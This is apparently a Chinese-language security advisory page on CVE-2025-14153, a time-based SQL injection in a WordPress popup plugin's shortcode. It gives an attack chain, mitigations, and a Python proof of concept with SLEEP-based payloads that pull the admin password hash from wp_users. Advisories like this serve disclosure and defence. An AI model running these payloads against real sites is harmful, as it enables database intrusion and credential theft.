IPBUF安全漏洞报告
English
CVE-2025-14153 CVSS 6.5 中危

CVE-2025-14153 WordPress Page Expire Popup SQL注入漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-14153
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Page Expire Popup/Redirection for WordPress plugin

相关标签

SQL注入WordPress插件Page Expire Popup时间盲注CVE-2025-14153认证用户短代码注入数据库泄露WordPress安全

漏洞概述

CVE-2025-14153是WordPress插件"Page Expire Popup/Redirection"中的一个高危安全漏洞。该插件用于在WordPress网站上创建页面过期弹出窗口和重定向功能。漏洞类型为基于时间的SQL注入(Time-based SQL Injection),存在于插件的短代码(shortcode)功能中,具体位置是'id'参数。由于插件在处理用户提供的'id'参数时未进行充分的转义处理,且对现有的SQL查询缺乏足够的预处理机制,导致恶意SQL代码可能被注入到数据库查询中。攻击者需要拥有WordPress作者级别(Author-level)及以上的账户权限即可利用此漏洞。通过构造特制的SQLpayload,攻击者可以在原有查询基础上追加额外的SQL语句,从而实现对数据库敏感信息的提取,包括用户凭据、配置信息或其他机密数据。此漏洞影响插件1.0及以下所有版本,CVSS评分为6.5,属于中等严重程度。鉴于SQL注入攻击的潜在危害性,建议受影响的用户立即采取修复措施。

技术细节

该漏洞的根本原因在于插件代码中未对用户输入进行严格的参数化处理。在inc/vfpageexpirepopupstructure.php文件的第8行附近,插件直接使用用户提供的'id'参数构建SQL查询语句,而没有采用WordPress推荐的$wpdb->prepare()方法进行安全预处理。攻击者可以通过WordPress的短代码机制传入恶意的'id'参数值,例如使用SLEEP()或BENCHMARK()等时间延迟函数构造基于时间的盲注payload。由于SQL查询在执行时会等待指定时间,攻击者可以通过响应时间的差异来判断SQL条件是否成立,进而逐步提取数据库中的敏感信息。攻击者首先需要获取WordPress的Author角色账户,然后利用该账户创建或编辑包含恶意短代码的内容(如文章或页面),当其他用户访问这些内容时,SQL注入代码将被执行。攻击者通常会利用此漏洞提取WordPress的wp_users表中的用户名和密码哈希值。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的有效账户(Author级别或更高),或通过其他方式获取低权限账户凭据
STEP 2
步骤2
攻击者登录WordPress后台,访问文章或页面编辑器,准备注入恶意短代码
STEP 3
步骤3
攻击者构造包含SQL注入payload的短代码[page_expire_popup id='恶意SQL'],payload通常使用SLEEP()或BENCHMARK()函数实现时间盲注
STEP 4
步骤4
攻击者发布或预览包含恶意短代码的内容,使插件处理该请求并执行SQL注入
STEP 5
步骤5
数据库执行恶意SQL语句,通过响应时间差异(时间盲注)判断条件真假,逐步提取敏感数据如wp_users表中的密码哈希
STEP 6
步骤6
攻击者获取管理员密码哈希后,可进一步破解密码或直接利用获取的管理员权限控制整个WordPress网站

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time from urllib.parse import quote # Target WordPress site with Page Expire Popup plugin target_url = "http://target-site.com/" # Authentication credentials (Author-level or higher) username = "attacker" password = "attacker_password" # Login to WordPress session = requests.Session() login_url = target_url + "wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url + "wp-admin/" } session.post(login_url, data=login_data) # Time-based SQL Injection PoC - Extract admin user password hash # The vulnerable shortcode: [page_expire_popup id='<injection>'] def extract_char(position, ascii_value): """Extract a single character from admin password hash using time-based blind SQLi""" # SQL injection payload using SLEEP() for time-based blind injection # This payload checks if ASCII value at position matches payload = f"1' AND (SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE id=1 LIMIT 1),{position},1))={ascii_value},SLEEP(3),0)) AND '1'='1" # Create post with malicious shortcode post_url = target_url + "wp-admin/post-new.php" post_data = { "post_title": "SQLi Test Post", "post_content": f"[page_expire_popup id='{payload}']", "post_status": "publish" } start_time = time.time() response = session.post(post_url, data=post_data) elapsed_time = time.time() - start_time # If response takes >3 seconds, the condition was true return elapsed_time > 3 # Example: Extract first character of admin password hash # print(extract_char(1, 64)) # Check if first char ASCII value is 64 (@) # Alternative simpler PoC to verify vulnerability exists def verify_vulnerability(): """Verify the SQL injection vulnerability exists""" # Time-based detection payload detect_payload = "1' AND (SELECT SLEEP(5)) AND '1'='1" test_content = f"[page_expire_popup id='{detect_payload}']" post_data = { "post_title": "Vulnerability Test", "post_content": test_content, "post_status": "publish" } start = time.time() session.post(target_url + "wp-admin/post-new.php", data=post_data) elapsed = time.time() - start if elapsed >= 5: print("[+] Vulnerability confirmed! Time-based SQL injection works.") else: print("[-] Vulnerability not detected or already patched.") # Run verification # verify_vulnerability()

影响范围

Page Expire Popup/Redirection for WordPress plugin <= 1.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用Page Expire Popup插件直至完成修复;2) 撤销所有非管理员账户的作者/编辑权限;3) 禁止新用户注册或限制用户角色分配;4) 在Web服务器层面配置WAF规则拦截包含SLEEP()、BENCHMARK()等函数的SQL请求;5) 加强WordPress登录凭据复杂度要求,启用双因素认证;6) 定期备份数据库以便发生安全事件时能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表